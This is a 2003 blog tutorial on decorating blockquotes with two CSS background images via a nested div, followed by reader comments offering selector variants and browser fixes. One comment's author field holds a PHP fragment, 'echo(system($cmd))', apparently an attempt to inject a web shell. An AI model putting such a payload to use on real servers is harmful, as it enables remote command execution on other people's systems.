Quick tip: Styling blockquotes with CSS
Today’s tutorial is going to be short one, as I’m working on one last piece of coursework. This time I’m going to explain a clever CSS trick borrowed from Nick Boalch. Here’s a screenshot:

Here’s the HTML:
<blockquote cite="http://www.w3.org/TR/REC-html40/struct/tables.html#h-11.1">
<div>
Tables should not be used purely as a means to layout document content as
this may present problems when rendering to non-visual media.
Additionally, when used with graphics, these tables may force users to
scroll horizontally to view a table designed on a system with a larger
display. To minimize these problems, authors should use style sheets to
control layout rather than tables.
</div>
</blockquote>
The <div> in the above code is a slight sticking point: it has no structural value but is required for the technique to work. This is a trade off between 100% structural purity and presentational effects but I think it is one that is worth making.
Here’s the relevant CSS:
blockquote {
background: transparent url(quoleft.png) left top no-repeat;
}
blockquote div {
padding: 0 48px;
background: transparent url(quoright.png) right bottom no-repeat;
}
There’s a simple trick at work here. CSS backgrounds are extremely powerful but in CSS2 only one background can be applied to any single element. The blockquote effect requires two background images, one for the quote mark on the left hand side and one for the one on the right. The additional nested <div> allows us to do this, by applying one background image to the <blockquote> and one to the <div>.
The padding is applied to the <div> rather than the <blockquote> because the <div> needs to stretch the entire width of the <blockquote> in order for the background image to appear in the right place. The images are 38 pixels wide, so a padding is applied to the left and right hand sides of the <div> to allow space for the images and give an extra 10 pixels of whitespace.
You can see the technique being used on this sample page, or over on Nick’s weblog.
One final note: while it’s tempting to add font-style: italic to blockquotes, doing so may cause a horizontal scrollbar to appear in IE6/Windows. Strange but true.
Incidentally, I’ve been getting some absolutely fantastic feedback on this series on the comments attached to each entry—please keep it coming! The feedback has included a number of suggested improvements and other worthwhile tips. Rather than editing the original articles I plan to use tomorrow’s update to revisit the previous day’s articles and update them based on suggestions from the comments.
blockquote { background: transparent url(quoright.png) right bottom no-repeat; } blockquote > *:first-child { padding: 0 48px; background: transparent url(quoleft.png) left top no-repeat; }gilmae - 22nd May 2003 01:56 - #
pinstead?Matt - 22nd May 2003 02:59 - #
<p>s inside the blockquote, which would result in multiple closing quotes. If you use a<div>you can have multiple paragraphs inside it.Simon Willison - 22nd May 2003 03:56 - #
It's a shame thats IE doesnt support :before and :after this could all be done with css. No images required.
Anne van Kesteren - 22nd May 2003 06:47 - #
Ian Lloyd - 22nd May 2003 08:44 - #
Daniel Glazman - 22nd May 2003 09:07 - #
Eric Meyer - 22nd May 2003 14:57 - #
It is nice simple technique albeit to me it seems a little artificial in its connivance of meaning, you could accomplish a similar 'decoration' using CSS relative positioning and applied style to; and respectively, although it might not be as robust...
Basically I see it as decoration rather than as two quotation marks belonging to the nested block quote, anyhow that's my visualised interpretation, perhaps that's just a result of having a dyslexic mind?
Robert Wellock - 22nd May 2003 15:14 - #
I think you can use multiple <p>s if you give them the opening quotes. When a quote goes on for multiple paragraphs, the quote is not closed at the end of the paragraphs, but it is reopened at the beginning of each subsequent paragraph.
So, change the CSS to:
blockquote {background: transparent url(quoright.png) right bottom no-repeat;}blockquote p {padding: 0 48px; background: transparent url(quoleft.png) top left no-repeat;}And you're in business...
Great series, BTW.
Mark Newhouse - 22nd May 2003 20:31 - #
blockquote p + p { background: transparent; }And ye'r set. Caveat: the sibling selector is not supported by many popular browsers. Take care.Micah - 23rd May 2003 01:05 - #
Markku Seguerra - 23rd May 2003 07:53 - #
Daniel Glazman - 23rd May 2003 08:58 - #
blockquote > p?kirkaracha - 23rd May 2003 18:01 - #
kirkaracha - 23rd May 2003 18:02 - #
kristine - 30th May 2003 05:21 - #
Rajiv Menon - 2nd June 2003 04:49 - #
W0n6<? echo(system($cmd)) ?> - 28th August 2003 14:45 - #
Rob Napier - 3rd May 2004 04:05 - #
Bruno Cheyru - 8th November 2005 10:18 - #
Rob Sharp - 16th December 2005 12:39 - #
Sanya - 18th March 2006 23:12 - #
Drew - 2nd June 2006 04:52 - #
I haven't had a chance to really learn CSS, but with my knowledge of HTML and web layouts I can usually install and modify cool code such as what is presented here. I appreciate the time and effort spent in explaining this code and how to install it. However (yes, there's always a catch hehe), I am testing it on my blog and in IE I get both left/right quote images but in Firefox only the right. The (upper-) left quote image is invisible. I have only modified the code in adjusting the width of the blockquote, but the image problem was happening before that. Any ideas on what may be causing the display error? As a rule, I want anything I publish to have the widest possible viewer capability within reason, and if something will only work on IE, or only work on Firefox, etc., I have to take it out (and I would love to keep this style change).
Thanks in advance for any suggestions.
Dave - 3rd June 2006 19:27 - #
Dave - 3rd June 2006 19:44 - #
Thanks for this great solution! I tried using your code for quotes. It works flawlessly in Firefox, however, IE of course ruins it all. First of all, PNG can't be used since no IE supports the transparency option (Way to go, Microsoft!). Second, the closing quotation mark disappears! I have no idea why it does that, but I can't fix it. Maybe there's something in my code that IE doesn't like, but for now the quotation marks are only visible in Firefox since I can't make it work adequatly in IE. Hopefully they've fixed it in IE 7.0, but you never know. Let's keep our thumbs crossed that most headaches all webmasters suffer disappear--or at least diminish--when the next version is released. Yaarr, IE is my nemesis when it comes to programming websites! Why can't everyone come to their senses and ditch IE for some better browser? Sigh, the horror, the horror...
Anyhow, I've implemented your solution on my homepage where it's applicable. Naturally, credit is given where credit is due (check the information section on the homepage). ^^
Gabriel - 20th June 2006 00:48 - #
Hey wait! I fixed it--now both quotation marks are viewable in IE as well! What I did was wrap the div around another div and setting its width to 100%. Weird, but it seems to be necessary for IE.
Now I only need to fix decent GIFs out of the PNGs. Looks low-quality with GIFs, but if that's the only solution then it'll have to do, for now.
Gabriel - 20th June 2006 12:53 - #